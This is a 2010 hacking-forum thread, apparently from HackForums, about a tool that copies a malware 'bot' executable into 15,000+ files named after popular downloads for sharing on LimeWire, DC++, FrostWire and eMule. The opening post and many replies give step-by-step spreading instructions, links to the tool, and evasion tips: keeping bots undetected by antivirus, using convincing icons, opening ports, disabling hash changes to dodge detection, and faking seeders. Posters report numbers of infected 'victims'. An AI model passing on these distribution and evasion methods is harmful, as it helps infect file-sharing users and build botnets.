Thread: [Free Mass Spreader -Shown By Unspoken-](#)

Unspoken - March 14, 2010, 2:48 pm

Mass Spreader Made by BlackHatHackz0r

Needed items:

LimeWire

Unspokens Mass Spreader

Bot With A Changed Icon (Not Default Icon)

Info

[Puts 15000+ Uploads Up On Lime Wire]

Made By Split And Phaze

Im Just Showing It To The HF Community To Help All The HF Members Out There

Download Link: <http://www.mediafire.com/?ij4itfy5noo>

How To Use

#0 Open

#1 Click Menu

#2 Click Start Grab (Grabs 15000+)

#3 Make New Folder On Desktop

#4 Put Your Bot Into The Folder

#5 Start Copy

#6 Dont Touch It While Its On

#7 Once Done With All The Files Open LimeWire

#8 Click Library

#9 Drag All The 15000+ Into The Box In LimeWire

#10 Leave For A Few Sec It Takes Time

#11 Once The Screen Pops Up Click Select All

#12 Leave For 10 Min Or So Then It Uploads Then All

#13 Sit Back And Watch The Bots Come In

It Would Be Nice To Leave Me a THX In The Thread
And Give A Review How Good It Is if you want:)

Maxaber - March 14, 2010, 2:50 pm

wow looks very nice!!!! THANKS!!!

Da Loser - March 14, 2010, 2:53 pm

Nice :D, Now Everyone Will Know How To Spread On Limewire :D

[j-pr0] - March 14, 2010, 2:53 pm

I was just needing something like this. Thanks man. This will spread very well. Could I possibly have the source?

Unspoken - March 14, 2010, 3:07 pm

thatguyyouknow - March 14, 2010, 3:15 pm

Im just waiting for limewire to upload em now

Looks good!

Unspoken - March 14, 2010, 3:20 pm

Thanks Dude Its Great in a day i got 9000 hits on One upload and i got like 6000 on the rest!!!

AgoNy RuNs ThiS - March 14, 2010, 3:23 pm

this work with frostwire?

Fish - March 14, 2010, 3:23 pm

This looks very nice I will be sure to try it out when warbot is done

Rhythm - March 14, 2010, 3:30 pm

Looks a bit too good to be true xD hahah.

If I could receive bots on my host booter I would probably benefit from this :S lol

Tmryuu - March 14, 2010, 3:45 pm

15,388 files could not be added to the library.

Care to help me via Teamviewer in case I did something wrong?

EDIT: Seems like I managed to solve that - Uploading them now, will post results when I get some :)

DrPro - March 14, 2010, 3:50 pm

Thanks, I will be sure to try this tonight!?

?Shots? - March 14, 2010, 3:52 pm

Doesn't let me drag the files into limewire.

thatguyyouknow - March 14, 2010, 3:58 pm

Just a few quick questions though:

Ive now put the files in my shared folder.

Is it working now?

Also is there anything that i have to do to make people download it?

cgsmickie93 - March 14, 2010, 4:01 pm

When I add the files I click add... and then nothing happens...

thatguyyouknow - March 14, 2010, 4:05 pm

(Mar 14, 2010 03:52 PM)Fusion™ Wrote: [\[CITE\]](#) Doesn't let me drag the files into limewire.
This may be because its hard for limewire to move all these files at once

Just be patient

Abbreviations - March 14, 2010, 4:08 pm

Thanks its a good program.

Dwayne Johnson - March 14, 2010, 4:08 pm

programs check box doesnt work on limewire

Unspoken - March 14, 2010, 4:08 pm

(Mar 14, 2010 03:58 PM)thatguyyouknow Wrote: [\[CITE\]](#) Just a few quick questions though:

Also is there anything that i have to do to make people download it?

yea your done sit back and watch the bots come in

And No there is nothing you can do for them to download it just wait:)

and yea every one else Follow the steps Be Patient Uploading and copying 15000 files takes a little bit it wont do it in like 2 sec it will take like 5-10 min

Works for me and him so yea follow the steps its easy i cant explain it in more detail
like yea just follow the steps and it will work

cgsmickie93 - March 14, 2010, 4:13 pm

When copying the files does it show anything? Or

Kevon - March 14, 2010, 4:13 pm

I shall tell you how it work out :D.

I'm a currently doing it now.

Tmryuu - March 14, 2010, 4:14 pm

Waiting for bots :)

cgsmickie93 - March 14, 2010, 4:25 pm

Why doesnt it let me add the files????? Someone please help me out?

Voxility - March 14, 2010, 4:28 pm

Why would people do something else. You can download this from Hostbooter.com U r doing nothing but Re-uploading for a easy +Rep.

cgsmickie93 - March 14, 2010, 4:38 pm

Why doesnt it work for me it wont let me add exe files?

Dwayne Johnson - March 14, 2010, 4:41 pm

First Go Into

Tools » Options

Click On Configure...

Tick Check Box "Allow Me To Search For And Share Programs With Anyone"

Drag In The Files. Untick All Of Them Expect For Programs

When Its Done Copying All The Files

Click On One And Press Ctrl+A To Select All Files

Right Click And Click On Add To List » Public Shared

And Your Done =D Thanks To Me

cgsmickie93 - March 14, 2010, 4:53 pm

thx dude :D toooo sho9rttt

I did what he said above and now I dont see it saying... sharing 15000 files or w.e... wtf?

Dwayne Johnson - March 14, 2010, 5:13 pm

(Mar 14, 2010 08:18 PM)csz Wrote: [\[CITE\]](#) Can you help me via TeamViewer i got a few major issues ...

Name Them in here im not going on team viewer for a minor problem look how many people are here lol

Name the problem and ill try to fix it

[B]iishop - March 14, 2010, 8:40 pm

Limewire sucks though. Its pretty pointless to spread on there.

But thanks. Looks nice.

FamousMassacre - March 14, 2010, 8:56 pm

I havn't gotten any bots yet :(

0-day - March 14, 2010, 9:02 pm

Anybody get any GOOD results from this? So far no one has...

SourDiesel - March 14, 2010, 9:23 pm

Eh, it won't let me drag the files in.

Unspoken - March 14, 2010, 9:25 pm

You Will Get Good Results If:

Your Bots Fud

Your Icon Is Not Gay

Your File Doesent Need Admin To Run

If you follow the rules you will get bots :)

If you have a kiddie looking Icon Aka a sword or a Cassle

if you have a good looking icon people will open:)

SourDiesel - March 14, 2010, 10:28 pm

Alright, time to play the waiting game. I'll post any feedback.

Thank you so much, awaiting results :)

and thanks to rhokib111 for the extra help

i thought i'd use my first post on something like this ^^

foxlhr1 - March 15, 2010, 4:51 am

hes just gettings hits him self :-X

iLL ReDBuLL - March 15, 2010, 5:26 am

This is called file copier...

CyberM@X - March 15, 2010, 5:33 am

Wow nice one ! I love it ! thanks man ;P Big Vouch for this guy ;)

demagol - March 15, 2010, 10:05 am

yay thanks. i'll try to spread some with this

MutantFod - March 15, 2010, 2:06 pm

i have over 10.000 hits, but only 6 actual downloads...

i'm gonna let it run though, still have potential...

Unspoken - March 15, 2010, 2:20 pm

Lol aka your icon sucks or your file isent fud or maybe they just know what it looks like and if they dont see the icon they seen every where else they wont open

like think about it would you open a mirc program from limewire if the icon was like a sword? lol no one would

You will only get stupid people if you dont put a good icon

Aka A MS Icon Or A Good Custom Icon

kidd infected - March 15, 2010, 5:45 pm

thanks bro got quite a few from this, just got a ? how can i see the hits i have had

anything thats p2p :-)

It Mass File copy's and it finds the most downloaded things of that week or day i forget

And whats p2p that's a file a person downloads and it spreads into all the files they give so the
person is there spreader

But idk if thats what p2p means thats what i herd

Post Some Reviews Of It Guys!!!!

SourDiesel - March 15, 2010, 7:29 pm

I haven't got any downloads after one day.

Unspoken - March 15, 2010, 7:32 pm

(Mar 15, 2010 07:29 PM)Traenan Wrote: [\[CITE\]](#) I haven't got any downloads after one day.

Lol Let Me Tv you

Your Bots Probably not Fud

corrupted File

No Downloads What So Ever

Really Bad Icon

Or You Just Messed Something up

Ive Got Lots Of bots from this

Let me TV you and see what the problem is

.eXe' - March 15, 2010, 7:43 pm

Component 'MSCOMCTL.OCX' or one of its dependencies not correctly registered: a file is missing
or invalid

wtf? help please

Unspoken - March 15, 2010, 7:45 pm

get Team Viewer ill fix it

xD Mike - March 15, 2010, 7:47 pm

If you can TV me to tell me if my stuff is fine. Just PM me

Post Reviews of The Program:)

When clicking that green arrow it will take you to the last post in the thread and not the OP.

Snypz - March 17, 2010, 11:12 am

Thanks you fattwam, I still think its funny how this thread is named "Unspokens Free Mass Spreader" when you didnt even make the application. lol

?Analog? - March 17, 2010, 11:15 am

(Mar 17, 2010 11:12 AM)BlackHatHackz0r Wrote: [\[CITE\]](#) Thanks you fattwam, I still think its funny how this thread is named "Unspokens Free Mass Spreader" when you didnt even make the application. lol

Yeah i lol'ed the first time i came to this thread.

munchies23 - March 17, 2010, 11:25 am

just got this bad boy working sand sharing teh filies lets see what i get ill post what i get =] good job with the program thank you who ever made it =]!

mags - March 17, 2010, 3:23 pm

lol - too damn funny if you ask me :-)

Unspoken - March 17, 2010, 6:55 pm

What Ever I found out the facts and its true he is and im sorry for thinking other wise

But why would you just have a just made account and only have 3 rep? like thats why i did not think you were

Once again sorry and

People Write Review Of It and post what you think of the program!!!

mynameisboxxy™ - March 17, 2010, 6:57 pm

In my opinion, this is a great spreader! I've already gotten 120 bots from it today!

Thanks for the program, I would +rep if I could.

[SS]Himmler - March 17, 2010, 7:02 pm

o.O what the? how did u got 120 bots allready? i have it open for like 2 days and i guess i have like 10-15 bots from it

mynameisboxxy™ - March 17, 2010, 7:04 pm

You just need to put the right URLS for the tracker, and I'm using a program that makes it look that I have 13 seeders when I really have 0. It makes people a lot less suspicious.

[SS]Himmler - March 17, 2010, 7:07 pm

man this is about limewire .wtf is with the trackers? limewire uses trackers too?

mynameisboxxy™ - March 17, 2010, 7:10 pm

Sorry lol, I meant, instead of using limewire, I used torrents.

Snypz - March 17, 2010, 8:56 pm

Clients to use with this application are...

- 1)DC++
- 2)eMule
- 3)Mp3 Rocket (yes you can spread .exes)
- 4)Frostwire
- 5)Limewire

Good luck!

FuckTheDuck - March 21, 2010, 12:09 am

Hell yeah, thanks for the post Unspoken, and big thanks to BlackHatHackz0r for the program. Keep up the good work!?

With the original application there was a few bugs that I missed out on. However I have made version 2 and now has no bugs as far as I know of, it now also allows you to grab exactly what you

want in the "Configure" tab inside the menu.

Here is a download link directly from my site.

Code <http://blackhathackz0r.com/downloads/PhazeNameLeecherv2.exe>

Juvenile - March 22, 2010, 7:29 am

I get unexpected runtime error when i try to start copy.

Snypz - March 22, 2010, 7:32 am

Hmm, did you select your server? Then copy to a directory? And what is the error you are getting?

EDIT: If you are on Windows Vista or Windows 7 then run as admin as it needs the privileges.

Paranoid555 - March 22, 2010, 7:44 am

this is nice man thx gonna try it out :D

Look amazing nice thanks for posting

cYcNiS - March 23, 2010, 11:55 am

Thanks, this will come in handy. makes life so much easier. Faster than making torrents to

raponi - March 23, 2010, 12:20 pm

Doesn't work for me, when I run it it says that I need mswinsck.ocx and I've tried multiple downloads but none seem to work, even if I run in admin. Please help

Unspoken - March 23, 2010, 12:21 pm

go to google serch

.ocx dump

download the file your missing

put it in your system and system 32 file and you will be good:)

????xT?e??5 - March 23, 2010, 1:57 pm

got it to work but i havent gotten any downloads. i got many many many hits but no downloads on limewire. i tried to setup dc++ i added files and connected to about 20 hubs but no downloads as well

Unspoken - March 23, 2010, 2:02 pm

Hits is what it shows you will never know your downloads

i have 60k hits on 2 of my lime wire uploads and i only get like 20 bots a day people are not stupid

you have to think about it if you were them would you download a bot ?

????xT?e??5 - March 23, 2010, 2:10 pm

cool thanks man. ill just keep my limewire open all day. hopefully i get SOME installs lol. i just fud my server

boxy1 - March 25, 2010, 9:46 am

This is a great tool.

However, I'm having problems with limewire. I can create my folder easily with the 15k files. Limewire shows these in my Public Shared folder, and says I'm sharing 15k files. I can also download from limewire easily.

My problem is that no-one is uploading from me. I've left Limewire running all night and not had a single upload. My icon is changed to something cool and I've enabled program sharing. Could it be some port forward setting? I wouldn't think so, as I can download fast without problems. Also my file is only around 500k - could that be a problem? Obviously more savvy users aren't going to download 500k exe episodes of Lost or whatever, but many of the generated filenames are cracks, keygens, etc, and I'd have thought at least one or two people would upload.

Any suggestions? I'll keep it open and see how it goes, but I'm convinced I must have a setting wrong. I've double checked everything, my upload slots, bandwidth and sharing options and all seems good.

Snypz - March 25, 2010, 9:52 am

I see alot of people here having problems with this program I made. Because alot of you are having problems I will make a full tutorial on how to use it. Half of the people using this are only doing 50% of what you should be doing and thats why you are not getting any uploads.

I plan on making a version 3 aswell that will grab torrent names/seeder/leechers and downloads for people who want to spread torrents. If you ask me why im doing this, its because then you can spread the file(s) most people are downloading etc.

EDIT: Just made a quick tutorial for people who are having problems

<http://blackhathackz0r.com/phazenameleecher.php>

FuckTheDuck - March 25, 2010, 10:43 pm

I'm getting some serious results with this! I just got 10 downloads in like 10-15 min of opening DC++! (you HAVE to get DC! it's SOOOO much more effective that limewire!) And as far as limewire goes, in that same time period, it hasn't gotten me a single upload... :p

Snypz - March 26, 2010, 1:57 am

(Mar 25, 2010 10:43 PM)FuckTheDuck Wrote: [\[CITE\]](#) I'm getting some serious results with this! I just got 10 downloads in like 10-15 min of opening DC++! Yeah, limewire doesnt allow people to view/download or upload .exe or .zips etc without you selecting an option. Limewire spreading died off years ago where as DC++ will keep going for alot longer.

Oh yeah did you use my tutorial for this or not?

Wings of Shadow© - March 26, 2010, 2:56 am

(Mar 14, 2010 02:48 PM)Unspoken Wrote: [\[CITE\]](#) Unspoken's Mass Spreader

Needed items:

LimeWire

Unspokens Mass Spreader

Bot With A Changed Icon (Not Default Icon)

Info

[Puts 15000+ Uploads Up On Lime Wire]

Made By Split And Phaze

Im Just Showing It To The HF Community To Help All The HF Members Out There

Download Link: <http://www.mediafire.com/?ngzznm2vzno>

How To Use

#0 Open

#1 Click Menu

#2 Click Start Grab (Grabs 15000+)

#3 Make New Folder On Desktop

#4 Put Your Bot Into The Folder

#5 Start Copy

#6 Dont Touch It While Its On

#7 Once Done With All The Files Open LimeWire

#8 Click Library

#9 Drag All The 15000+ Into The Box In LimeWire

#10 Leave For A Few Sec It Takes Time

#11 Once The Screen Pops Up Click Select All

#12 Leave For 10 Min Or So Then It Uploads Then All

#13 Sit Back And Watch The Bots Come In

It Would Be Nice To Leave Me a THX In The Thread Or Any Other Way:)

And Give A Review How Good It Is if you want:)

bK` - March 27, 2010, 3:49 pm

Why do people insist on posting these recopied bullshit tutorials 25 times.

Your not contributing, your flooding the forum with useless information like 99% on here do. It's not worth the time to even approach this method so why even post it, you will get shit for it. It's another method that was around 5 years ago and even then it was still shit.

Here's a hint to beginners, look for tutorials on torrent spreading. Put yourself in a downloaders shoes, and think as a downloader. Experiment with different applications to see what spreads / downloads best, not all will have 100% success rate, you're not going to get 1k your first time so stop being lazy and PRACTICE, keep your files FUD, good torrent description with pictures.. etc. And ffs check your files, do they look 100% legit, do they run 100% legit? Would you run them(if you

have no warez experience regard this because you probably would run anything)?

Some have success with youtube, but IMO torrents is the best way and always will be. (with exceptions of exploits/etc. non manual spreading)

All in all, stop posting bullshit "spreading" tutorials, this is not spreading, this is what you call a lazy noob who will fail at gaining a net using methods such as this.

iNk Jr. - March 27, 2010, 4:50 pm

Why are you people still bothering with this. The creator even stated you won't get any bots from this. Whats the point?

raponi - March 27, 2010, 6:35 pm

Because I didn't read through 22 pages... I searched for a spreader and got this..

Unspoken - March 27, 2010, 8:23 pm

i only help Leet and uber but it should work what other files does it say your missing

if it still says your missing that file idk you didnt get the write Mswinsck.ocx

Go to google and look up OCX Dump and download it from that list

if that doesnt help then idk ask Black hat he made the program he might know a trice to fix it

bK` - March 27, 2010, 10:34 pm

Reported for flaming, really bro lmao it's not flaming. There's a difference between flaming and telling the truth how it is, I'm telling you what I know and saving peoples time since you obviously don't know what the fuck you're talking about if you're posting this, and saying it works fine...

I like the cute title you gave yourself Mr. "#1 Spreader on HF" and you're supplying methods like these? ?

If you'd like to prove me otherwise please do so.. I'll be waiting.

Unspoken - March 27, 2010, 11:31 pm

i got 237 bots last week from this way of spreading i proved you wrong

Get off my thread you E-Thug

(Mar 27, 2010 06:22 PM)FusionN™ Wrote: [\[CITE\]](#) Why are you people still bothering with this. The creator even stated you won't get any bots from this. Whats the point?

Look i got 237 from this last week and guess what others do to!!

Like really get off my thread if you dont wanna post positive things

There is no room for E-Thugs on HF

?Shots? - March 27, 2010, 11:37 pm

Do you even know what an e-thug is? If your calling us one you have no idea at all, little skittle.

Unspoken - March 27, 2010, 11:49 pm

(Mar 27, 2010 11:37 PM)FusionN™ Wrote: [\[CITE\]](#) Do you even know what an e-thug is? If your calling us one you have no idea at all, little skittle.

#1

Electronic thug. A pale, pimple faced, skinny white kid who would most likely burn up if he came into contact with natural sunlight. Spends all of his time threatening people over the internet to compensate for his lack of a life and hatred of humanity for not accepting him.

#2

An internet thug. They usually sound very tough and scary. Does not show people who they are in public. Probably got picked on in school, comes online to higher their self-esteem. Talks a-lot of non-sense around the area of insulting your mommy to penis size. Stays behind the monitor so nothing can hurt them.

#3

A shit stirring computer geek that only exists on the internet and thinks he is top shit by typing in capitals, swearing excessively and thinking they can kick your arse in a fight.

In real life they are some pathetic, weak individual that can not go a day without linking real life situations with something that happens in a computer game.

As a result, they are rejected by society because of their nature and should be disowned by their parents.

If they did wanna fight you, they would probably tell you to go to LAN to meet them, sad cunts.
<e-thug> say to my face cunt. Meet me at NetCafe tomorrow!
<Me> Pfffft..... you're a loser.....

Stupid e-thug cries coz he knows its true and responds by excessively swearing and making racist comments

#4

A person who talks tough over the internet with no intention or ability to back up his words.

Winston(E-thug): Yea bitch? How about I stomp your ass?

Internet user: Aren't you that 90lb. nerd from school?

Winston(E-thug): Er, I was just kidding...

Another example.

Winston is a total pussy but when were playing Halo online hes a total E-Thug...

#5

Somebody who pretends to be everything on the internet. Often these people can't type in a normal way and like to curse.

Normal Person:

Stop acting like that. You aren't funny.

E-Thug:

diz guy imma kill him man he's liek acting so tuff i break toe of him.

For more examples just pay a visit to YouTube.com and check the comments.

#6

A Thug Online Who is Really A Pansy In Real Life

ex.1 lil stud 2512: dude i swear to god if i met u in real life i would pount ur face in u mopther f***ler

ex.2 <trX`Fats> Man whats ur ***** adress give me ur ***** adresss ill beat you ups and break all ur bones

#7

A Thug Online Who is Really A Pansy In Real Life

ex.1 lil stud 2512: dude i swear to god if i met u in real life i would pount ur face in u mopther f***ler

ex.2 <trX`Fats> Man whats ur ***** adress give me ur ***** adresss ill beat you ups and break all ur bones

Try again kid:)
Get off my thread

?Shots? - March 27, 2010, 11:53 pm

I was not threatening anyone.. lmao. View my bot selling thread I can hook you up with some fresh bots. Oh wait you already have a whole 300 from limewire OMG Mr #1 Spreader. Your a joke.

Hurts to hear the truth don't it? #1 Spreader.

bK` - March 28, 2010, 12:10 pm

So tell me since you can post descriptions from google, can you read them?
Where do I fit into your threatening category lmfao.
Have you read what I wrote or are you just blabbing and throwing words out there like a child to make yourself look better?
Last time I checked you're the one threatening to report people? :)
And if your using this method to spread, you're going nowhere, getting no bots for what it's worth.
End of story.

Unspoken - March 28, 2010, 12:51 pm

Bots i got off this so far -427
Using DC++ and LimeWire

?Analog? - March 28, 2010, 12:54 pm

i really don't care about bitching about this anymore even though title should change...

But also try using emule and frostwire, and with all your p2p programs just make then use thew same folder so you don't have to keep coping them.

?Shots? - March 28, 2010, 1:03 pm

Listen child. Nobody is flaming you, we are simply telling you the truth. You are the one flaming, calling us E-thugs. I have not said anything in his thread that has made me look like an E-thug in any way. First you need to change your user title. Someone that gets 500 bots from spreading does not deserve to call their self the #1 Spreader. You also still have not changed the title of the thread. It is not "Unspokens Free Mass Spreader" it is called Phaze Name Leecher. If you seriously think this is a good method of spreading then something in your brain must not be working properly.

Quote:It Would Be Nice To Leave Me a THX In The Thread Or Any Other Way:)
What is any other way? Hmm rep abuse?

I am done posting here, k bye :D

Unspoken - March 28, 2010, 1:48 pm

SIM-82498 - March 29, 2010, 6:47 pm

Name here could not be added to the library.

Why?

HF Amp - March 29, 2010, 6:47 pm

when im doing this do i need to leave my limewire open so the files can be downloaded or can i close it??

SIM-82498 - March 29, 2010, 7:06 pm

As simple as the steps are, do you mind adding pictures? I'm just stumbled on that step where I add it to the library.

Edit: I got it to work, hopefully I gain massive bots.
By the way, what are other alternatives to Limewire?

Zimton - March 29, 2010, 8:57 pm

Haven't got any bots from this hm..

Unspoken - March 29, 2010, 9:27 pm

Lime wire -good-

Dc++ -Most effective-

FrostWire -pretty good-

(Mar 29, 2010 08:57 PM)zimton Wrote: [\[CITE\]](#) Haven't got any bots from this hm..

how long has it been up there and how many HITS do you have

whats your ICON on the bot and you wont get much because yours says .exe at the end of it and if the title says music or movie then they wont open it

DC++ is the best
Frost Wire comes in 2d
Lime wire is the Easiest

Zimton - March 29, 2010, 11:20 pm

Your Pal - March 31, 2010, 6:19 pm

Leeched..... barely works..... 500 bots and your #1 hf spreader?? nice

Unspoken - March 31, 2010, 6:43 pm

(Mar 31, 2010 06:19 PM)Drive by Wrote: [\[CITE\]](#) Leeched..... barely works..... 500 bots and your #1 hf spreader?? nice

Dont cross flame My spreading all comes from Youtube

This is just a backup to give a little extra bots to me

and it does work if you have half a brain if you set it up properly then it will work fine

Cloud203 - March 31, 2010, 9:07 pm

Limewire won't allow me to drag and drop .zip/.rar files or anything that doesn't end with a media extension... Help? Google yields no results as well.

Industry - April 1, 2010, 1:02 am

Not a very good spreading method at all! Considering you can preview the download before you actually open the file lul.

Cloud203 - April 1, 2010, 11:42 am

In the process of 3 hours, I've gotten 1 victim.

Not complaining, just telling others of my experience.

Androctonus - April 1, 2010, 1:11 pm

(Mar 14, 2010 04:41 PM)rhokib111 Wrote: [\[CITE\]](#) First Go Into Tools » Options

Can you make video
every body help me

Unrestrained - April 16, 2010, 8:23 pm

Thankz unspoken.....

dosghost - April 16, 2010, 10:36 pm

thanks for posting i hope this still works do you have the source to this its kinda like File Clone its actually a lil more updated thanks for the share i was using a different way of spreading :D but i will give this a try mind if i post this on yakiddys.com ?

GoS AnThonY - April 16, 2010, 10:43 pm

This looks boss as hell hopefully its not backdoored...

mmaama - April 17, 2010, 6:56 am

how the hell can i share "applications" on limewire? it tells me i can't?

L.E. nvm, found the setting

Bvsed - April 17, 2010, 7:12 am

thanks so much dude <3

boazoa - April 17, 2010, 10:03 am

This is kind of bad way to spread since limewire automatically scans with AVG, am I correct?

Snypz - April 17, 2010, 5:05 pm

For the best results you guys must either use DC++ or eMule.

ResilientFall - April 17, 2010, 8:10 pm

When I try to add the file it says that the file could not be added

Lime Wire won't let me put programs on it please someone pm me on how to fix this

Kalvaxas - April 17, 2010, 8:24 pm

lol damn, thats a lot of bots.

Sean - April 17, 2010, 8:31 pm

Holy fucking shit... I just accidentally put them all on my fucking desktop...

ribow - April 18, 2010, 9:08 am

doesn't work for me.. all files added and were on sharing, but no one downloaded a file :/ Ports were open though...

PROJECT1 - April 18, 2010, 10:20 am

OK i find a easy way to transfer the file into the library then into the Public Shared Folder then i click upload and i wait around 20 min not even 1 .

There is anyone who can help please? Maybe with TV

Thanks

TehBlueLobstar - April 18, 2010, 11:24 am

looks great but what are the uploads under?

?ami - April 18, 2010, 11:51 am

Thanks dude you saved my life! No torrent crap :P +rep if I could

Axanas - April 18, 2010, 12:11 pm

how do i drag all 15000+ into the library??? I can only click on one name at a time. What do I drag? Help me!

TehBlueLobstar - April 18, 2010, 12:23 pm

nvm it works great but limewire keeps fckin up for me and say i have to download and install it again

Kevon - April 18, 2010, 12:27 pm

Pretty good. P2P is a good way but i only gotten around 20 bots.

iShunky - April 18, 2010, 12:56 pm

I

HAVE

NOT

GOTTEN

blksith0 - April 23, 2010, 6:28 pm

So this doesnt work anymore? Darn. Thanks anyways.

?ami - April 24, 2010, 3:28 pm

I cant drag them into the box, it wont let me, And when I try to add all the files it lags and I have to close limewire

tonei - April 24, 2010, 7:43 pm

This works with frostwire also :), and its nice ahaha already got 82 bots with frostwire :)

BigG - April 25, 2010, 6:06 am

This is awesome. Gonna try it with FrostWire.

GaNjA - April 25, 2010, 7:12 am

For everyone having problems this does still work. I have gotten 372 bots with this method. It takes time but it works.

If you are using limewire with this method and are having problems read steps below:

1. Open limewire.
2. Click on the tools drop-down menu in the top left hand corner.
3. Scroll down to options and click it.
4. Click on configure in the sharing category box.
5. Tick/click the box that says "Allow me to search for and share Programs with anyone." Click ok.....click ok.
6. Go to your folder where you saved all of the copied bots/programs. Wait for it to load it's a pretty big folder.
7. Click on one of the bots/programs once just to highlight it. (DO NOT DOUBLE CLICK) Then click Ctrl+a.
8. Drag all of the bots/programs that your auto spreader made into LimeWire's library. (IT WILL MOST LIKELY LAG/FREEZE, ITS OK THOUGH.....JUST LET IT BE AND GO OUTSIDE OR PLAY A GAME THAT'S NOT ON THE COMPUTER. Don't touch it until it's done.)
9. Right click on one of the bots/programs you just dragged into LimeWire and then press Ctrl+a, Add to list: Public Shared.
10. Go back to your business and always keep LimeWire open or in the task bar. You will probably not get bot's as soon as you do this, just leave it running about a week or longer and you should have a good amount of bots by then.

If you all would have read all of the posts before just reading only the download link then you wouldn't have any problems.

ACDC - April 25, 2010, 8:14 am

hope this gets me alot of victims thanks alot mate!!!!

Mufasa - April 25, 2010, 8:54 am

WOW KNOW EVERYONE WILL HAVE HUNDREDS OF FILES ON LIMEWIRE WAY TOO GO JACKOFF

This is a nice upload though ;)

Wind - April 25, 2010, 9:09 am

I don't trust this. Then again I don't trust anything.

I ran it in sandboxie and got an error : "Component "COMDLG32.OCX" or one of its dependencies blah blah..."

mayank_predator - April 25, 2010, 9:43 am

(Apr 25, 2010 09:09 AM)Wind Wrote: [\[CITE\]](#) I don't trust this. Then again I don't trust anything.

Trust me its not binded or any thing

Ask the others

BTW that means you donot have the ocx

AKA go to google search up ocx dump download the file that your missing then place the COMDLG32.OCX into your system folder and it should work

If you have seen me on HackForums before you should know that I am not that low to try to bot others like this

HF for the win WE ROCK we are the best forum :D

ThéPoisoner - May 25, 2010, 10:25 am

Ty ? It takes a while to share the files into FrostWire xD

orangemist - May 25, 2010, 10:40 am

Does this work with RATS aswell or just bots?

Unspoken - May 25, 2010, 10:44 am

(May 25, 2010 10:40 AM)ORaNGEMiST Wrote: [\[CITE\]](#) Does this work with RATS aswell or just bots?

your stupid lol

A rat creates a virus -File- Aka Bot

or what ever you want to call it

All this program does is Copy the file and creates files with different names that are the top 15k+ in the world

This will copy any file you want

Doesent matter if its A virus word txt doc or a video

It will copy it to 15k+ times

This really helps the people who dont want to make that many files and dont want to spread by them self

This thread should be a sticky=D

orangemist - May 25, 2010, 10:46 am

So the bot would be fine lol :) haha

ThéPoisoner - May 25, 2010, 10:55 am

idk, but isn't smart to replace the icon to a Winrar icon?

cougar22 - May 25, 2010, 12:21 pm

dam i like the looks of this program, 1 thanks for the share, 2 can anyone report daily averages for incoming bots using this?

StarStream™ - May 28, 2010, 9:15 pm

This is a nice simple guide

thanks for posting it

NotAk-47 - May 29, 2010, 1:46 am

(May 31, 2010 07:40 PM)Unspoken Wrote: [\[CITE\]](#) ? bot??

Nice red apples?

Yah, as in nice program. Sorry for the typo. Thanks for the negative rep, very much appreciated. Way to jump to conclusions.

Demise - June 3, 2010, 10:39 pm

LoL @ everyone thanking him for a program he didn't create...he got it off of hostbooter.com in the downloads section which is why he gives credit to Split but doesn't give credit to SnYpZ who made it.

And an easier and more efficient way to spread with this is to:

1. Have your bot on the desktop or where ever you prefer, not in the folder your using.
 2. Create a new folder (I'd recommend naming the folder "Shared" without quotes of course).
 3. Click start grab. Wait until all of the names are grabbed.
 4. Click start copy. For the first prompt choose your bot, and then for the second prompt, choose the new folder you made so that it will put all of the copies directly into that folder.
 5. Once all of the copies are made, open LimeWire, go to library, right-click the Shared folder under Shared Files and click Stop Sharing Folder.
 6. Right-click Shared Files and click Share New Folder.
 7. Double click on your new folder with the copies in it and click select and your finished.
- But, THERE ARE 2 MORE IMPORTANT DETAILS FOR SPREADING.
1. Make sure that your port is open for LimeWire, if it isn't it will show a firewall in front of the earth at the bottom. You can see which port it is by going to Tools, Options, Advanced, Firewall. If it isn't open, that means that your UPnP isn't working for some reason and you need to select Manual Port Forward and make sure it is the same port as the Listen on Port at the top-right of Firewall. Then just go to your router page and open that port. For information on how to do that, look up manual port forwarding.
 2. Make sure that before you do anything in the file copier, uncheck Change Hash. This doesn't do much for you and actually makes your bot detected by Avira or some other AV, i can't remember which exactly, which defeats the purpose of FUDing your bot.

Then your done. Just leave LimeWire open for a while and you'll keep getting more hits and more downloads. Try to keep it open for at least 2 days, but after 3 days I always right-click it in the taskbar and click exit and then reopen it to refresh your downloads so you'll actually start getting a lot more again. I'd also recommend doing the same thing with FrostWire to get even more downloads.

BTW I use LimeWire 4.18.8 because it's better for spreading imo so there might be a few slight changes in the steps if you use the newer version. Anyway, Happy Spreading.

.Infinity - June 3, 2010, 11:01 pm

I keep getting a fucking OCX error.

I downloaded the OCX file and still receive the error. What the fuck.

Demise - June 3, 2010, 11:12 pm

(Jun 3, 2010 11:01 PM)Saito Wrote: [\[CITE\]](#) I keep getting a fucking OCX error.

I downloaded the OCX file and still receive the error. What the fuck.

Did you just download them or did you register them in regsvr32. If not, put the files in C:\WINDOWS\System32. Then run command prompt as Admin and type "regsvr32 comdlg32.ocx" and hit enter. Do that for all of the OCX files. And I'm not sure because I didn't download his but there should be 3, mswinsck.ocx , comdlg32.ocx , and mscomctl.ocx . If there isn't all 3 there you can find them at hostbooter.com in the downloads section and if that still doesn't work pm me, I have a program that could help you with that.

1llegal - June 4, 2010, 2:40 am

really nice programm

thanks a lot dude,you are really the number one spreader?

Spice - June 4, 2010, 3:13 am

Downloading right now! Thank you!

blacknblue - June 4, 2010, 3:17 am

downloading and setting up... well post back with results! Thanks btw

lipitimisieu - June 4, 2010, 3:55 am

It sounds great! Thank you for sharing!

Legoz - June 5, 2010, 5:05 pm

(Mar 14, 2010 09:25 PM)Unspoken Wrote: [\[CITE\]](#) You Will Get Good Results If:

Your Bots Fud

Your Icon Is Not Gay

Your File Doesent Need Admin To Run

If you follow the rules you will get bots :)

If you have a kiddie looking Icon Aka a sword or a Cassle

if you have a good looking icon people will open:)Can you help me FUD my bot? please

oO ICEMAN Oo - June 5, 2010, 5:30 pm

bump bump bump bump bump bump bump bump bump bump bump bump

JuronimoJakey - June 5, 2010, 6:01 pm

Works well thanks for this Unspoken.

Naruto45 - June 5, 2010, 10:32 pm

i hope this works... :)) thanks..

Radke - June 5, 2010, 11:41 pm

Sorry for being the retarded one but does this bind my server.exe to all these files so i can then

upload them all to limewire?

Demise - June 5, 2010, 11:46 pm

No, it actually just copies your server renames all of the copies to all of the those names you see there. So its just an easier way instead of copy, paste, rename and finding names to put for them.

Naruto45 - June 6, 2010, 7:22 am

it says "COMDLG32.ocx" is missing... after downloading this missing File...another missing file appeared ..

pls HELP..

